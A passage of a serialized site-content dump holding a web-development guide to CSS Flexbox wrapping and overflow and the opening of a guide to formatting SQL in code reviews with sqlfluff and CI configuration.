align-items.",{"immutable":363},{"title":106341,"description":107355},"guides\u002Fflexbox-generator-guide","PRDdeot9lfvS-CBdObXV_xr76olFhX285tNse7rYYD0",{"id":107361,"title":107362,"body":107363,"date":2070,"description":108208,"extension":361,"meta":108209,"navigation":363,"path":108210,"readingTime":889,"seo":108211,"stem":108212,"__hash__":108213},"guides\u002Fguides\u002Fflexbox-wrapping-overflow.md","Flexbox Wrapping and Overflow",{"type":8,"value":107364,"toc":108195},[107365,107369,107372,107428,107440,107444,107494,107507,107511,107518,107565,107568,107572,107578,107584,107587,107591,107599,107679,107716,107722,107726,107734,107806,107814,107818,107821,107911,107916,107920,107923,108042,108049,108060,108064,108143,108145,108178,108180,108193],[11,107366,107368],{"id":107367},"why-flex-items-overflow","Why Flex Items Overflow",[16,107370,107371],{},"Flex items have an implicit minimum width: they will not shrink smaller than their content. This is the single most common cause of flex overflow.",[135,107373,107375],{"className":1554,"code":107374,"language":1556,"meta":141,"style":141},".container {\n  display: flex;\n  gap: 16px;\n}\n\n.item {\n  \u002F* Contains a long URL — will not shrink below content width *\u002F\n}\n",[143,107376,107377,107383,107393,107405,107409,107413,107419,107424],{"__ignoreMap":141},[1560,107378,107379,107381],{"class":1562,"line":1563},[1560,107380,1655],{"class":1566},[1560,107382,1571],{"class":1570},[1560,107384,107385,107387,107389,107391],{"class":1562,"line":337},[1560,107386,12504],{"class":1576},[1560,107388,1663],{"class":1570},[1560,107390,32187],{"class":1576},[1560,107392,2228],{"class":1570},[1560,107394,107395,107397,107399,107401,107403],{"class":1562,"line":343},[1560,107396,32235],{"class":1576},[1560,107398,1663],{"class":1570},[1560,107400,10057],{"class":1576},[1560,107402,1670],{"class":1669},[1560,107404,2228],{"class":1570},[1560,107406,107407],{"class":1562,"line":365},[1560,107408,1585],{"class":1570},[1560,107410,107411],{"class":1562,"line":889},[1560,107412,1702],{"emptyLinePlaceholder":363},[1560,107414,107415,107417],{"class":1562,"line":1710},[1560,107416,58800],{"class":1566},[1560,107418,1571],{"class":1570},[1560,107420,107421],{"class":1562,"line":1717},[1560,107422,107423],{"class":1649},"  \u002F* Contains a long URL — will not shrink below content width *\u002F\n",[1560,107425,107426],{"class":1562,"line":1747},[1560,107427,1585],{"class":1570},[16,107429,107430,107431,107433,107434,107436,107437,107439],{},"Even though ",[143,107432,58698],{}," defaults to ",[143,107435,3585],{},", the browser applies ",[143,107438,59447],{}," to flex items. This prevents items from shrinking below their content size. Long unbroken text, wide images, or fixed-width elements push items past the container edge.",[11,107441,107443],{"id":107442},"the-fix-override-min-width","The Fix: Override min-width",[135,107445,107447],{"className":1554,"code":107446,"language":1556,"meta":141,"style":141},".item {\n  min-width: 0; \u002F* Allow shrinking below content width *\u002F\n  overflow: hidden;\n  text-overflow: ellipsis;\n}\n",[143,107448,107449,107455,107468,107478,107490],{"__ignoreMap":141},[1560,107450,107451,107453],{"class":1562,"line":1563},[1560,107452,58800],{"class":1566},[1560,107454,1571],{"class":1570},[1560,107456,107457,107459,107461,107463,107465],{"class":1562,"line":337},[1560,107458,32464],{"class":1576},[1560,107460,1663],{"class":1570},[1560,107462,5285],{"class":1576},[1560,107464,3664],{"class":1570},[1560,107466,107467],{"class":1649},"\u002F* Allow shrinking below content width *\u002F\n",[1560,107469,107470,107472,107474,107476],{"class":1562,"line":343},[1560,107471,74722],{"class":1576},[1560,107473,1663],{"class":1570},[1560,107475,44183],{"class":1576},[1560,107477,2228],{"class":1570},[1560,107479,107480,107483,107485,107488],{"class":1562,"line":365},[1560,107481,107482],{"class":1576},"  text-overflow",[1560,107484,1663],{"class":1570},[1560,107486,107487],{"class":1576},"ellipsis",[1560,107489,2228],{"class":1570},[1560,107491,107492],{"class":1562,"line":889},[1560,107493,1585],{"class":1570},[16,107495,77144,107496,107498,107499,107501,107502,1856,107504,107506],{},[143,107497,32647],{}," removes the implicit minimum. Now ",[143,107500,58698],{}," works as expected — the item compresses to fit. Combine it with ",[143,107503,44900],{},[143,107505,32651],{}," to handle long text gracefully.",[11,107508,107510],{"id":107509},"flex-wrap-wrap-the-basics","flex-wrap: wrap — The Basics",[16,107512,107513,107514,107517],{},"By default, flex items stay on one line (",[143,107515,107516],{},"flex-wrap: nowrap","). Enable wrapping with:",[135,107519,107521],{"className":1554,"code":107520,"language":1556,"meta":141,"style":141},".container {\n  display: flex;\n  flex-wrap: wrap;\n  gap: 16px;\n}\n",[143,107522,107523,107529,107539,107549,107561],{"__ignoreMap":141},[1560,107524,107525,107527],{"class":1562,"line":1563},[1560,107526,1655],{"class":1566},[1560,107528,1571],{"class":1570},[1560,107530,107531,107533,107535,107537],{"class":1562,"line":337},[1560,107532,12504],{"class":1576},[1560,107534,1663],{"class":1570},[1560,107536,32187],{"class":1576},[1560,107538,2228],{"class":1570},[1560,107540,107541,107543,107545,107547],{"class":1562,"line":343},[1560,107542,32406],{"class":1576},[1560,107544,1663],{"class":1570},[1560,107546,32411],{"class":1576},[1560,107548,2228],{"class":1570},[1560,107550,107551,107553,107555,107557,107559],{"class":1562,"line":365},[1560,107552,32235],{"class":1576},[1560,107554,1663],{"class":1570},[1560,107556,10057],{"class":1576},[1560,107558,1670],{"class":1669},[1560,107560,2228],{"class":1570},[1560,107562,107563],{"class":1562,"line":889},[1560,107564,1585],{"class":1570},[16,107566,107567],{},"Wrapping items will flow to the next line whenever they exceed the container width. But wrapping introduces its own challenges.",[11,107569,107571],{"id":107570},"the-gap-problem-with-wrapped-rows","The Gap Problem with Wrapped Rows",[16,107573,107574,107575,107577],{},"When items wrap, ",[143,107576,58563],{}," applies between all items — both horizontally and vertically. This means the last row's alignment depends on how many items it contains.",[135,107579,107582],{"className":107580,"code":107581,"language":140},[138],"[Item 1] [Item 2] [Item 3]      ← 3 items, gap between each\n[Item 4] [Item 5]               ← 2 items, left-aligned\n",[143,107583,107581],{"__ignoreMap":141},[16,107585,107586],{},"Items are not justified to match the row above. If you want a grid-like alignment, CSS Grid is the better tool.",[11,107588,107590],{"id":107589},"flex-basis-and-wrapping-interaction","flex-basis and Wrapping Interaction",[16,107592,107593,107595,107596,107598],{},[143,107594,33590],{}," sets the initial size before growing or shrinking. Combined with ",[143,107597,33607],{},", it controls when items wrap:",[135,107600,107602],{"className":1554,"code":107601,"language":1556,"meta":141,"style":141},".container {\n  display: flex;\n  flex-wrap: wrap;\n  gap: 16px;\n}\n\n.item {\n  flex: 1 1 280px; \u002F* grow, shrink, base 280px *\u002F\n}\n",[143,107603,107604,107610,107620,107630,107642,107646,107650,107656,107675],{"__ignoreMap":141},[1560,107605,107606,107608],{"class":1562,"line":1563},[1560,107607,1655],{"class":1566},[1560,107609,1571],{"class":1570},[1560,107611,107612,107614,107616,107618],{"class":1562,"line":337},[1560,107613,12504],{"class":1576},[1560,107615,1663],{"class":1570},[1560,107617,32187],{"class":1576},[1560,107619,2228],{"class":1570},[1560,107621,107622,107624,107626,107628],{"class":1562,"line":343},[1560,107623,32406],{"class":1576},[1560,107625,1663],{"class":1570},[1560,107627,32411],{"class":1576},[1560,107629,2228],{"class":1570},[1560,107631,107632,107634,107636,107638,107640],{"class":1562,"line":365},[1560,107633,32235],{"class":1576},[1560,107635,1663],{"class":1570},[1560,107637,10057],{"class":1576},[1560,107639,1670],{"class":1669},[1560,107641,2228],{"class":1570},[1560,107643,107644],{"class":1562,"line":889},[1560,107645,1585],{"class":1570},[1560,107647,107648],{"class":1562,"line":1710},[1560,107649,1702],{"emptyLinePlaceholder":363},[1560,107651,107652,107654],{"class":1562,"line":1717},[1560,107653,58800],{"class":1566},[1560,107655,1571],{"class":1570},[1560,107657,107658,107660,107662,107664,107666,107668,107670,107672],{"class":1562,"line":1747},[1560,107659,32292],{"class":1576},[1560,107661,1663],{"class":1570},[1560,107663,3585],{"class":1576},[1560,107665,18868],{"class":1576},[1560,107667,107152],{"class":1576},[1560,107669,1670],{"class":1669},[1560,107671,3664],{"class":1570},[1560,107673,107674],{"class":1649},"\u002F* grow, shrink, base 280px *\u002F\n",[1560,107676,107677],{"class":1562,"line":2507},[1560,107678,1585],{"class":1570},[193,107680,107681,107690],{},[196,107682,107683],{},[199,107684,107685,107688],{},[202,107686,107687],{},"Container Width",[202,107689,17960],{},[211,107691,107692,107700,107708],{},[199,107693,107694,107697],{},[216,107695,107696],{},"900px",[216,107698,107699],{},"3 items per row (3 × 280 + gaps fits)",[199,107701,107702,107705],{},[216,107703,107704],{},"600px",[216,107706,107707],{},"2 items per row",[199,107709,107710,107713],{},[216,107711,107712],{},"300px",[216,107714,107715],{},"1 item per row",[16,107717,107718,107719,107721],{},"Items grow to fill space (",[143,107720,32488],{},") but wrap when the container cannot fit another 280px item.",[11,107723,107725],{"id":107724},"the-flex-shrink-0-trap","The flex-shrink: 0 Trap",[16,107727,77144,107728,107730,107731,107733],{},[143,107729,32640],{}," prevents items from compressing. Combined with ",[143,107732,33433],{},", items overflow:",[135,107735,107737],{"className":1554,"code":107736,"language":1556,"meta":141,"style":141},".container {\n  display: flex;\n  \u002F* nowrap is default *\u002F\n}\n\n.item {\n  flex-shrink: 0; \u002F* Items refuse to shrink *\u002F\n  width: 300px;   \u002F* 4 items × 300px = 1200px — overflows a 1000px container *\u002F\n}\n",[143,107738,107739,107745,107755,107760,107764,107768,107774,107787,107802],{"__ignoreMap":141},[1560,107740,107741,107743],{"class":1562,"line":1563},[1560,107742,1655],{"class":1566},[1560,107744,1571],{"class":1570},[1560,107746,107747,107749,107751,107753],{"class":1562,"line":337},[1560,107748,12504],{"class":1576},[1560,107750,1663],{"class":1570},[1560,107752,32187],{"class":1576},[1560,107754,2228],{"class":1570},[1560,107756,107757],{"class":1562,"line":343},[1560,107758,107759],{"class":1649},"  \u002F* nowrap is default *\u002F\n",[1560,107761,107762],{"class":1562,"line":365},[1560,107763,1585],{"class":1570},[1560,107765,107766],{"class":1562,"line":889},[1560,107767,1702],{"emptyLinePlaceholder":363},[1560,107769,107770,107772],{"class":1562,"line":1710},[1560,107771,58800],{"class":1566},[1560,107773,1571],{"class":1570},[1560,107775,107776,107778,107780,107782,107784],{"class":1562,"line":1717},[1560,107777,32263],{"class":1576},[1560,107779,1663],{"class":1570},[1560,107781,5285],{"class":1576},[1560,107783,3664],{"class":1570},[1560,107785,107786],{"class":1649},"\u002F* Items refuse to shrink *\u002F\n",[1560,107788,107789,107791,107793,107795,107797,107799],{"class":1562,"line":1747},[1560,107790,12386],{"class":1576},[1560,107792,1663],{"class":1570},[1560,107794,44009],{"class":1576},[1560,107796,1670],{"class":1669},[1560,107798,3491],{"class":1570},[1560,107800,107801],{"class":1649},"\u002F* 4 items × 300px = 1200px — overflows a 1000px container *\u002F\n",[1560,107803,107804],{"class":1562,"line":2507},[1560,107805,1585],{"class":1570},[16,107807,1388,107808,107810,107811,107813],{},[143,107809,32640],{}," only when items have a genuine minimum size — icons, avatars, fixed-width controls. For fluid content, let ",[143,107812,58698],{}," do its job.",[11,107815,107817],{"id":107816},"horizontal-scrolling-containers","Horizontal Scrolling Containers",[16,107819,107820],{},"For navigation bars and tag lists, horizontal scrolling is intentional:",[135,107822,107824],{"className":1554,"code":107823,"language":1556,"meta":141,"style":141},".scroll-nav {\n  display: flex;\n  overflow-x: auto;\n  gap: 8px;\n  scrollbar-width: thin;\n}\n\n.scroll-nav > * {\n  flex-shrink: 0; \u002F* Prevent items from compressing *\u002F\n}\n",[143,107825,107826,107833,107843,107853,107865,107876,107880,107884,107894,107907],{"__ignoreMap":141},[1560,107827,107828,107831],{"class":1562,"line":1563},[1560,107829,107830],{"class":1566},".scroll-nav",[1560,107832,1571],{"class":1570},[1560,107834,107835,107837,107839,107841],{"class":1562,"line":337},[1560,107836,12504],{"class":1576},[1560,107838,1663],{"class":1570},[1560,107840,32187],{"class":1576},[1560,107842,2228],{"class":1570},[1560,107844,107845,107847,107849,107851],{"class":1562,"line":343},[1560,107846,33326],{"class":1576},[1560,107848,1663],{"class":1570},[1560,107850,33331],{"class":1576},[1560,107852,2228],{"class":1570},[1560,107854,107855,107857,107859,107861,107863],{"class":1562,"line":365},[1560,107856,32235],{"class":1576},[1560,107858,1663],{"class":1570},[1560,107860,10078],{"class":1576},[1560,107862,1670],{"class":1669},[1560,107864,2228],{"class":1570},[1560,107866,107867,107870,107872,107874],{"class":1562,"line":889},[1560,107868,107869],{"class":1576},"  scrollbar-width",[1560,107871,1663],{"class":1570},[1560,107873,7711],{"class":1576},[1560,107875,2228],{"class":1570},[1560,107877,107878],{"class":1562,"line":1710},[1560,107879,1585],{"class":1570},[1560,107881,107882],{"class":1562,"line":1717},[1560,107883,1702],{"emptyLinePlaceholder":363},[1560,107885,107886,107888,107890,107892],{"class":1562,"line":1747},[1560,107887,107830],{"class":1566},[1560,107889,32916],{"class":1669},[1560,107891,8064],{"class":2484},[1560,107893,1571],{"class":1570},[1560,107895,107896,107898,107900,107902,107904],{"class":1562,"line":2507},[1560,107897,32263],{"class":1576},[1560,107899,1663],{"class":1570},[1560,107901,5285],{"class":1576},[1560,107903,3664],{"class":1570},[1560,107905,107906],{"class":1649},"\u002F* Prevent items from compressing *\u002F\n",[1560,107908,107909],{"class":1562,"line":2524},[1560,107910,1585],{"class":1570},[16,107912,61185,107913,107915],{},[143,107914,32640],{}," is correct — you want items at their natural width, with scrolling to handle overflow.",[11,107917,107919],{"id":107918},"nested-flex-containers-and-overflow","Nested Flex Containers and Overflow",[16,107921,107922],{},"Overflow bugs multiply in nested flex layouts:",[135,107924,107926],{"className":1554,"code":107925,"language":1556,"meta":141,"style":141},".outer {\n  display: flex;\n}\n\n.sidebar {\n  width: 250px;\n  flex-shrink: 0;\n}\n\n.content {\n  flex: 1;\n  min-width: 0; \u002F* Critical — prevents inner content from pushing outer *\u002F\n  display: flex;\n  flex-wrap: wrap;\n}\n",[143,107927,107928,107935,107945,107949,107953,107959,107971,107981,107985,107989,107995,108005,108018,108028,108038],{"__ignoreMap":141},[1560,107929,107930,107933],{"class":1562,"line":1563},[1560,107931,107932],{"class":1566},".outer",[1560,107934,1571],{"class":1570},[1560,107936,107937,107939,107941,107943],{"class":1562,"line":337},[1560,107938,12504],{"class":1576},[1560,107940,1663],{"class":1570},[1560,107942,32187],{"class":1576},[1560,107944,2228],{"class":1570},[1560,107946,107947],{"class":1562,"line":343},[1560,107948,1585],{"class":1570},[1560,107950,107951],{"class":1562,"line":365},[1560,107952,1702],{"emptyLinePlaceholder":363},[1560,107954,107955,107957],{"class":1562,"line":889},[1560,107956,33518],{"class":1566},[1560,107958,1571],{"class":1570},[1560,107960,107961,107963,107965,107967,107969],{"class":1562,"line":1710},[1560,107962,12386],{"class":1576},[1560,107964,1663],{"class":1570},[1560,107966,45885],{"class":1576},[1560,107968,1670],{"class":1669},[1560,107970,2228],{"class":1570},[1560,107972,107973,107975,107977,107979],{"class":1562,"line":1717},[1560,107974,32263],{"class":1576},[1560,107976,1663],{"class":1570},[1560,107978,5285],{"class":1576},[1560,107980,2228],{"class":1570},[1560,107982,107983],{"class":1562,"line":1747},[1560,107984,1585],{"class":1570},[1560,107986,107987],{"class":1562,"line":2507},[1560,107988,1702],{"emptyLinePlaceholder":363},[1560,107990,107991,107993],{"class":1562,"line":2524},[1560,107992,59340],{"class":1566},[1560,107994,1571],{"class":1570},[1560,107996,107997,107999,108001,108003],{"class":1562,"line":2529},[1560,107998,32292],{"class":1576},[1560,108000,1663],{"class":1570},[1560,108002,3585],{"class":1576},[1560,108004,2228],{"class":1570},[1560,108006,108007,108009,108011,108013,108015],{"class":1562,"line":2534},[1560,108008,32464],{"class":1576},[1560,108010,1663],{"class":1570},[1560,108012,5285],{"class":1576},[1560,108014,3664],{"class":1570},[1560,108016,108017],{"class":1649},"\u002F* Critical — prevents inner content from pushing outer *\u002F\n",[1560,108019,108020,108022,108024,108026],{"class":1562,"line":2542},[1560,108021,12504],{"class":1576},[1560,108023,1663],{"class":1570},[1560,108025,32187],{"class":1576},[1560,108027,2228],{"class":1570},[1560,108029,108030,108032,108034,108036],{"class":1562,"line":2558},[1560,108031,32406],{"class":1576},[1560,108033,1663],{"class":1570},[1560,108035,32411],{"class":1576},[1560,108037,2228],{"class":1570},[1560,108039,108040],{"class":1562,"line":2570},[1560,108041,1585],{"class":1570},[16,108043,58350,108044,44235,108046,108048],{},[143,108045,32647],{},[143,108047,59340],{},", its implicit minimum width (from child content) prevents the flex item from shrinking, pushing the sidebar off-screen.",[16,108050,108051,108053,108054,63678,108056,108059],{},[47,108052,52097],{},": Every flex item that contains text or nested flex containers should have ",[143,108055,32647],{},[143,108057,108058],{},"min-height: 0"," for column direction).",[11,108061,108063],{"id":108062},"common-overflow-patterns-and-fixes","Common Overflow Patterns and Fixes",[193,108065,108066,108076],{},[196,108067,108068],{},[199,108069,108070,108072,108074],{},[202,108071,27730],{},[202,108073,59374],{},[202,108075,3690],{},[211,108077,108078,108090,108103,108116,108129],{},[199,108079,108080,108082,108086],{},[216,108081,59383],{},[216,108083,108084],{},[143,108085,59447],{},[216,108087,1943,108088],{},[143,108089,32647],{},[199,108091,108092,108095,108098],{},[216,108093,108094],{},"Long URL breaks layout",[216,108096,108097],{},"Unbroken text",[216,108099,108100],{},[143,108101,108102],{},"overflow-wrap: break-word",[199,108104,108105,108108,108113],{},[216,108106,108107],{},"Wrapped gaps misalign",[216,108109,108110,108112],{},[143,108111,58563],{}," on wrapped flex",[216,108114,108115],{},"Use CSS Grid instead",[199,108117,108118,108121,108124],{},[216,108119,108120],{},"Sidebar pushed off",[216,108122,108123],{},"Nested content min-width",[216,108125,108126,108128],{},[143,108127,32647],{}," on outer flex item",[199,108130,108131,108134,108137],{},[216,108132,108133],{},"Horizontal nav overflow",[216,108135,108136],{},"Items compress",[216,108138,108139,21111,108141],{},[143,108140,32640],{},[143,108142,33449],{},[11,108144,1355],{"id":1354},[41,108146,108147,108154,108159,108166,108172,108175],{},[44,108148,108149,108151,108152],{},[143,108150,59447],{}," is the default reason flex items overflow — override with ",[143,108153,32647],{},[44,108155,108156,108158],{},[143,108157,33607],{}," lets items reflow to the next line but does not justify rows",[44,108160,108161,108163,108164],{},[143,108162,32640],{}," prevents compression but causes overflow with ",[143,108165,33433],{},[44,108167,108168,108169,108171],{},"Nested flex containers need ",[143,108170,32647],{}," on the outer item to prevent child content from expanding the parent",[44,108173,108174],{},"Use horizontal scrolling for intentional overflow in nav bars and tag lists",[44,108176,108177],{},"For grid-like layouts with wrapping, CSS Grid is more predictable than flex-wrap",[11,108179,286],{"id":285},[16,108181,108182,108183,108185,108186,1459,108188,1466,108190,108192],{},"Build and test flex layouts with wrapping and overflow using our ",[98,108184,33649],{"href":33648},". Adjust ",[143,108187,58256],{},[143,108189,33590],{},[143,108191,58563],{}," — see the results in real time.",[2043,108194,33653],{},{"title":141,"searchDepth":337,"depth":337,"links":108196},[108197,108198,108199,108200,108201,108202,108203,108204,108205,108206,108207],{"id":107367,"depth":337,"text":107368},{"id":107442,"depth":337,"text":107443},{"id":107509,"depth":337,"text":107510},{"id":107570,"depth":337,"text":107571},{"id":107589,"depth":337,"text":107590},{"id":107724,"depth":337,"text":107725},{"id":107816,"depth":337,"text":107817},{"id":107918,"depth":337,"text":107919},{"id":108062,"depth":337,"text":108063},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Master flex-wrap, overflow behavior, and min-width quirks in CSS Flexbox — the patterns that cause items to break out of their container.",{"immutable":363},"\u002Fguides\u002Fflexbox-wrapping-overflow",{"title":107362,"description":108208},"guides\u002Fflexbox-wrapping-overflow","WMI8YQ75bx_GbGFUkZE5sV_G8Gk-51kvGgDdAwcxKAc",{"id":108215,"title":108216,"body":108217,"date":2070,"description":108711,"extension":361,"meta":108712,"navigation":363,"path":108713,"readingTime":1710,"seo":108714,"stem":108715,"__hash__":108716},"guides\u002Fguides\u002Fformatting-sql-in-code-reviews.md","Formatting SQL in Code Reviews",{"type":8,"value":108218,"toc":108698},[108219,108222,108226,108229,108232,108252,108256,108259,108263,108363,108366,108370,108373,108377,108387,108435,108438,108535,108542,108546,108549,108623,108626,108630,108633,108666,108668,108685,108687,108695],[16,108220,108221],{},"Unformatted SQL is one of the most common sources of friction in code reviews. A developer pastes a query written in a single line, a reviewer asks for better formatting, and the discussion spirals into personal preferences rather than meaningful feedback about logic and performance. Establishing clear SQL formatting standards eliminates this cycle and keeps reviews focused on what matters.",[11,108223,108225],{"id":108224},"why-sql-formatting-deserves-its-own-standard","Why SQL Formatting Deserves Its Own Standard",[16,108227,108228],{},"Most teams enforce style guides for their primary programming language — linters catch missing semicolons, inconsistent quotes, and wrong indentation in JavaScript or Python. SQL, however, often lives outside those pipelines. It sits in migration files, ORM scopes, raw query strings, and analytics notebooks, bypassing the linter entirely.",[16,108230,108231],{},"Poorly formatted SQL creates real problems beyond aesthetics:",[41,108233,108234,108240,108246],{},[44,108235,108236,108239],{},[47,108237,108238],{},"Hidden bugs."," A missing comma in a SELECT list or an accidentally commented-out WHERE clause is much harder to spot in a wall of unformatted text.",[44,108241,108242,108245],{},[47,108243,108244],{},"Review slowdown."," Reviewers spend cognitive bandwidth parsing layout instead of evaluating JOIN logic, index usage, or N+1 risks.",[44,108247,108248,108251],{},[47,108249,108250],{},"Merge conflicts."," When multiple developers edit the same unformatted query without consistent line breaks, Git produces tangled conflicts that are painful to resolve.",[11,108253,108255],{"id":108254},"setting-up-a-team-sql-style-guide","Setting Up a Team SQL Style Guide",[16,108257,108258],{},"A practical SQL style guide does not need to be exhaustive. Focus on the rules that have the highest impact on readability and review efficiency.",[33,108260,108262],{"id":108261},"core-rules-to-define","Core Rules to Define",[193,108264,108265,108275],{},[196,108266,108267],{},[199,108268,108269,108271,108273],{},[202,108270,52097],{},[202,108272,133],{},[202,108274,16318],{},[211,108276,108277,108297,108316,108327,108338,108352],{},[199,108278,108279,108282,108294],{},[216,108280,108281],{},"Keyword casing",[216,108283,108284,1459,108287,1459,108290,108293],{},[143,108285,108286],{},"SELECT",[143,108288,108289],{},"FROM",[143,108291,108292],{},"WHERE"," (uppercase)",[216,108295,108296],{},"Keywords stand out from identifiers",[199,108298,108299,108302,108313],{},[216,108300,108301],{},"Line breaks per clause",[216,108303,57457,108304,1459,108307,1459,108309,108312],{},[143,108305,108306],{},"JOIN",[143,108308,108292],{},[143,108310,108311],{},"ORDER BY"," on a new line",[216,108314,108315],{},"Makes query structure scannable",[199,108317,108318,108321,108324],{},[216,108319,108320],{},"Indentation",[216,108322,108323],{},"4 spaces per nesting level",[216,108325,108326],{},"Shows subquery and CTE boundaries",[199,108328,108329,108332,108335],{},[216,108330,108331],{},"Comma placement",[216,108333,108334],{},"Trailing or leading — pick one",[216,108336,108337],{},"Consistency across all files",[199,108339,108340,108343,108349],{},[216,108341,108342],{},"Alias style",[216,108344,108345,108348],{},[143,108346,108347],{},"AS"," keyword always, or never",[216,108350,108351],{},"Prevents ambiguous shorthand",[199,108353,108354,108357,108360],{},[216,108355,108356],{},"Semicolons",[216,108358,108359],{},"Always terminate statements",[216,108361,108362],{},"Required by some databases, avoids ambiguity",[16,108364,108365],{},"Document your choices in a short markdown file in the repository root. Reference it in pull request templates so authors can self-check before requesting review.",[11,108367,108369],{"id":108368},"automating-formatting-checks-in-ci","Automating Formatting Checks in CI",[16,108371,108372],{},"Style guides that rely on manual enforcement inevitably drift. The most effective approach is to add a formatting check to your CI pipeline that fails the build on violations.",[33,108374,108376],{"id":108375},"using-sqlfluff","Using sqlfluff",[16,108378,108379,108382,108383,108386],{},[143,108380,108381],{},"sqlfluff"," is a dialect-aware SQL linter and formatter that supports PostgreSQL, MySQL, BigQuery, Snowflake, and more. Configure it with a ",[143,108384,108385],{},".sqlfluff"," file:",[135,108388,108390],{"className":37446,"code":108389,"language":37448,"meta":141,"style":141},"[sqlfluff]\ndialect = postgres\nexclude_rules = L034  # allow mixed select targets\n\n[sqlfluff:layout:type:comma]\nline_position = trailing\n\n[sqlfluff:layout:type:select_clause]\nline_position = leading\n",[143,108391,108392,108397,108402,108407,108411,108416,108421,108425,108430],{"__ignoreMap":141},[1560,108393,108394],{"class":1562,"line":1563},[1560,108395,108396],{},"[sqlfluff]\n",[1560,108398,108399],{"class":1562,"line":337},[1560,108400,108401],{},"dialect = postgres\n",[1560,108403,108404],{"class":1562,"line":343},[1560,108405,108406],{},"exclude_rules = L034  # allow mixed select targets\n",[1560,108408,108409],{"class":1562,"line":365},[1560,108410,1702],{"emptyLinePlaceholder":363},[1560,108412,108413],{"class":1562,"line":889},[1560,108414,108415],{},"[sqlfluff:layout:type:comma]\n",[1560,108417,108418],{"class":1562,"line":1710},[1560,108419,108420],{},"line_position = trailing\n",[1560,108422,108423],{"class":1562,"line":1717},[1560,108424,1702],{"emptyLinePlaceholder":363},[1560,108426,108427],{"class":1562,"line":1747},[1560,108428,108429],{},"[sqlfluff:layout:type:select_clause]\n",[1560,108431,108432],{"class":1562,"line":2507},[1560,108433,108434],{},"line_position = leading\n",[16,108436,108437],{},"Run it in CI:",[135,108439,108441],{"className":37227,"code":108440,"language":37229,"meta":141,"style":141},"# .github\u002Fworkflows\u002Fsql-lint.yml\nname: SQL Lint\non: [pull_request]\njobs:\n  lint:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v4\n      - run: pip install sqlfluff\n      - run: sqlfluff lint queries\u002F --dialect postgres\n",[143,108442,108443,108448,108457,108468,108475,108482,108492,108499,108512,108524],{"__ignoreMap":141},[1560,108444,108445],{"class":1562,"line":1563},[1560,108446,108447],{"class":1649},"# .github\u002Fworkflows\u002Fsql-lint.yml\n",[1560,108449,108450,108452,108454],{"class":1562,"line":337},[1560,108451,82747],{"class":2484},[1560,108453,1663],{"class":1570},[1560,108455,108456],{"class":5634},"SQL Lint\n",[1560,108458,108459,108461,108463,108466],{"class":1562,"line":343},[1560,108460,86828],{"class":1576},[1560,108462,37187],{"class":1570},[1560,108464,108465],{"class":5634},"pull_request",[1560,108467,37203],{"class":1570},[1560,108469,108470,108473],{"class":1562,"line":365},[1560,108471,108472],{"class":2484},"jobs",[1560,108474,19182],{"class":1570},[1560,108476,108477,108480],{"class":1562,"line":889},[1560,108478,108479],{"class":2484},"  lint",[1560,108481,19182],{"class":1570},[1560,108483,108484,108487,108489],{"class":1562,"line":1710},[1560,108485,108486],{"class":2484},"    runs-on",[1560,108488,1663],{"class":1570},[1560,108490,108491],{"class":5634},"ubuntu-latest\n",[1560,108493,108494,108497],{"class":1562,"line":1717},[1560,108495,108496],{"class":2484},"    steps",[1560,108498,19182],{"class":1570},[1560,108500,108501,108504,108507,108509],{"class":1562,"line":1747},[1560,108502,108503],{"class":1570},"      - ",[1560,108505,108506],{"class":2484},"uses",[1560,108508,1663],{"class":1570},[1560,108510,108511],{"class":5634},"actions\u002Fcheckout@v4\n",[1560,108513,108514,108516,108519,108521],{"class":1562,"line":2507},[1560,108515,108503],{"class":1570},[1560,108517,108518],{"class":2484},"run",[1560,108520,1663],{"class":1570},[1560,108522,108523],{"class":5634},"pip install sqlfluff\n",[1560,108525,108526,108528,108530,108532],{"class":1562,"line":2524},[1560,108527,108503],{"class":1570},[1560,108529,108518],{"class":2484},[1560,108531,1663],{"class":1570},[1560,108533,108534],{"class":5634},"sqlfluff lint queries\u002F --dialect postgres\n",[16,108536,108537,108538,108541],{},"For auto-fixing, use ",[143,108539,108540],{},"sqlfluff fix"," locally. In CI, keep it as a check-only step so developers are forced to run the fix command and review the changes before pushing.",[33,108543,108545],{"id":108544},"pre-commit-hooks","Pre-commit Hooks",[16,108547,108548],{},"For faster feedback, add a pre-commit hook:",[135,108550,108552],{"className":37227,"code":108551,"language":37229,"meta":141,"style":141},"# .pre-commit-config.yaml\nrepos:\n  - repo: https:\u002F\u002Fgithub.com\u002Fsqlfluff\u002Fsqlfluff\n    rev: 3.1.1\n    hooks:\n      - id: sqlfluff-fix\n        args: [--dialect, postgres]\n",[143,108553,108554,108559,108566,108578,108588,108595,108606],{"__ignoreMap":141},[1560,108555,108556],{"class":1562,"line":1563},[1560,108557,108558],{"class":1649},"# .pre-commit-config.yaml\n",[1560,108560,108561,108564],{"class":1562,"line":337},[1560,108562,108563],{"class":2484},"repos",[1560,108565,19182],{"class":1570},[1560,108567,108568,108570,108573,108575],{"class":1562,"line":343},[1560,108569,37327],{"class":1570},[1560,108571,108572],{"class":2484},"repo",[1560,108574,1663],{"class":1570},[1560,108576,108577],{"class":5634},"https:\u002F\u002Fgithub.com\u002Fsqlfluff\u002Fsqlfluff\n",[1560,108579,108580,108583,108585],{"class":1562,"line":365},[1560,108581,108582],{"class":2484},"    rev",[1560,108584,1663],{"class":1570},[1560,108586,108587],{"class":1576},"3.1.1\n",[1560,108589,108590,108593],{"class":1562,"line":889},[1560,108591,108592],{"class":2484},"    hooks",[1560,108594,19182],{"class":1570},[1560,108596,108597,108599,108601,108603],{"class":1562,"line":1710},[1560,108598,108503],{"class":1570},[1560,108600,34747],{"class":2484},[1560,108602,1663],{"class":1570},[1560,108604,108605],{"class":5634},"sqlfluff-fix\n",[1560,108607,108608,108611,108613,108616,108618,108621],{"class":1562,"line":1717},[1560,108609,108610],{"class":2484},"        args",[1560,108612,37187],{"class":1570},[1560,108614,108615],{"class":5634},"--dialect",[1560,108617,1459],{"class":1570},[1560,108619,108620],{"class":5634},"postgres",[1560,108622,37203],{"class":1570},[16,108624,108625],{},"This catches formatting issues before they even reach the remote repository, saving CI minutes and review rounds.",[11,108627,108629],{"id":108628},"common-formatting-issues-to-watch-for","Common Formatting Issues to Watch For",[16,108631,108632],{},"Even with automation, certain patterns slip through and deserve explicit attention in reviews:",[41,108634,108635,108648,108654,108660],{},[44,108636,108637,108640,108641,108644,108645,108647],{},[47,108638,108639],{},"Implicit JOINs."," Queries that use 